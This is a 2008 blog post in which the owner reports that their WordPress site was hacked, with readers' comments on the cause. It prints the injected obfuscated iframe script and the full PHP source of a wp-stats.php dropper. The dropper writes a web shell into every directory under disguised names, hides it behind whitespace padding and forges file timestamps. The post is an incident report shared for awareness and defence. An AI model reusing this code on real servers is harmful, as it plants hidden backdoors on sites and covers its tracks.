Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.

Now the blog is back to normal, after a clean reinstallation (erased all the former files).

I am not the only one to experience this mess.

For now, the blog is running with a minimal number of plugin – just akismet, actually – until the cause of that gets clearer.

Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.

As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !

UPDATE 06/13/2008 :
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.

There is the code :

<?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));

define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, "wb")) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, ".") + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = "{$func}_f";
  $func_d = "{$func}_d";
  $func_s = "{$func}_s";
  $func_e = "{$func}_e";
  if ($dh = @opendir("$p")) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START >= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir ("$p$f/") ) walkdir("$p$f/", $func, $l+1);
      if (@is_dir ("$p$f/") && function_exists($func_d))
        $func_d("$p$f/", $l);
      if (@is_file("$p$f" ) && function_exists($func_f))
        $func_f("$p$f" , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo "$t\n";
};

function testdata($t) {
  say(md5("mark_$t"));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = "namogofer.$fe";

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' => '', 'dir' => 0, 'file' => 0, 'simtype' => 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = "";
  $possible = "abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*";
  $i = 0;
  while ($i < 15)
    {
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char))
      {
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace("|define\('PASSWD',\s*'(.*)'|", "define('PASSWD','$md5password'", $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo "pass ".substr($tx, 0, strlen($ca))." in $tx for $ca\n";
    if ("$ca" == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo "gotcha\n";
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l)
  {
  global $C, $FCNT, $FN, $fui, $pres;

    $the_data = base64_decode(SHCODE);
    $the_dir = opendir("$d");
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=

                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))

              )
              {
              $FN = "$fui$cfile";
              break;
              }
              else
              {
              //echo "pass $cfile\n";
              }
            }

        if ( $is_php and my_fwrite("$d$FN", str_repeat("\n",100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . "\n" . str_repeat("\n", 100))))
                    {
                    $FCNT['fn'] = r_cut("$d$FN");
                    say(implode(" ", $FCNT));
                    }

  };

walkdir("$R/");
testdata('end');
?>

I will try anyway to put a deeper look when I have a little time : now, I have to go to work.

Related posts:

  1. OpenVPN and DNS on a linux client
  2. Disk encryption methods : hacked !
  3. How do you manage your passwords?
  4. OpenID rants

Comments 5

  1. C.S.Lee wrote:

    hi,

    Nice blog here, anyway that lead to

    And if you check out wp-stats.php, another obfuscated content.

    Cheers ;]

    Posted 11 Jun 2008 at 5:08 am
  2. JC wrote:

    Thanks :)

    So it seems that the code responsible for infecting all the files was injected through a wp-stats.php…

    Now, as I have started from scratch with a fresh archive of WordPress, I don’t have such a file anymore.

    How the hell could this file have been injected ?

    Posted 13 Jun 2008 at 8:36 am
  3. Owen wrote:

    There are many ways that it could have got put there. One possibility is the directory is not chmod’ed correctly and the file was uploaded from a form. Otherwise it could be a new WordPress exploit that has not been released yet. If you are on a shared server, who knows. It could have been any one on the server with 1/2 a brain. I think that it was a plugin that had a bug.

    I’m going to check for that file on my blogs now.

    Posted 18 Jun 2008 at 8:28 pm
  4. JC wrote:

    My blog is on my own server. I can’t say I have perfectly secured it well yet, but it is not that bad and I am sure of the permission.

    I really think there is an exploit, and as you say most probably on a plug-in.
    Especially, I suspect the OpenID authentication plug-in, because it is quite new, not tested and susceptible to grant access to everything.

    So far, running without any other plugin than Akismet, I haven’t been attacked anymore…
    Time will tell…

    Posted 18 Jun 2008 at 11:31 pm
  5. Owen wrote:

    Well, thats fortunate that you haven’t had any more problems. I know there have been OpenID authentication plug-in exploits for Drupal but am not aware of any for WordPress, very possible though.

    Posted 14 Jul 2008 at 4:48 am

Post a Comment

Your email is never published nor shared. Required fields are marked *